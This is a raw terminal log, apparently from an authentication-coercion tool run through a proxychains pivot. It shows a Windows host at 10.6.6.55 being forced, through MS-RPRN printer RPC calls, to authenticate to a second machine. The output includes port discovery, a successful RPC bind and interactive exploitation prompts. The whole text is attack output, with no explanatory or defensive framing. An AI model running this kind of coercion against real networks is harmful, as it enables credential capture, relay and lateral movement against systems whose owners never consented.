[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:135 ... OK
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49668,49701,49670,49671,49676,49710,49680,49714
[+] Coercing '10.6.6.55' to authenticate to '172.16.233.2'
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:49671 ... OK
[+] DCERPC port '49671' is accessible!
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:49671 ... OK
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:49671 ... OK
[>] (-testing-) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\172.16 [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotification(pszLocalMachine='\\172.16.233.2\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? c
[proxychains] Strict chain ... 192.168.72.1:1123 ... 10.6.6.55:49671 ... OK
[>] (-testing-) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\\172. [!] (NO_AUTH_RECEIVED) MS-RPRN──>RpcRemoteFindFirstPrinterChangeNotificationEx(pszLocalMachine='\\172.16.233.2\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? C